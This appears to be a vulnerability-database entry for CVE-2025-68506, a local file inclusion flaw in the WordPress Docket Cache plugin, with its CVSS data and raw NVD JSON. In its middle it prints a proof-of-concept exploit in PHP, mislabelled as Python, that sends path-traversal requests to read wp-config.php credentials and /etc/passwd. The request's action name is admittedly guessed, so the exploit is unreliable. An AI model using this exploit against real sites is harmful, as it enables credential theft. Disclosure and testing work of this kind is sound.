Security Vulnerability Report
中文
CVE-2025-68506 CVSS 8.1 HIGH

CVE-2025-68506

Published: 2025-12-24 13:16:21
Last Modified: 2026-04-27 19:16:26

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Nawawi Jamili Docket Cache docket-cache allows PHP Local File Inclusion.This issue affects Docket Cache: from n/a through <= 24.07.03.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Docket Cache插件 <= 24.07.03 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-68506 PoC - Docket Cache Local File Inclusion * Target: WordPress Docket Cache Plugin <= 24.07.03 * Note: This is for educational and security testing purposes only */ // Target URL - Replace with actual target $target = 'http://target-site.com/wp-admin/admin-ajax.php'; // Vulnerable parameter - LFI via file parameter $vuln_param = 'file'; // Files to attempt to read $target_files = [ '../../wp-config.php', // WordPress config - database credentials '../../../wp-config.php', // Alternative path '../../../../wp-config.php', // Deeper path '/etc/passwd', // System file '../../../../etc/passwd' // System file alternative ]; echo "[*] CVE-2025-68506 PoC - Docket Cache LFI\n"; echo "[*] Target: $target\n\n"; foreach ($target_files as $file) { echo "[*] Testing file: $file\n"; $data = [ 'action' => 'docket_cache_action', // Possible action name $vuln_param => $file ]; $ch = curl_init($target); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[+] Potential successful read!\n"; echo "Response length: " . strlen($response) . " bytes\n"; // Check for sensitive content if (strpos($response, 'DB_NAME') !== false || strpos($response, 'DB_USER') !== false) { echo "[!] Sensitive data found in response!\n"; } } } echo "\n[*] Scan complete.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68506", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:20.527", "lastModified": "2026-04-27T19:16:26.110", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Nawawi Jamili Docket Cache docket-cache allows PHP Local File Inclusion.This issue affects Docket Cache: from n/a through <= 24.07.03."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/docket-cache/vulnerability/wordpress-docket-cache-plugin-24-07-03-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}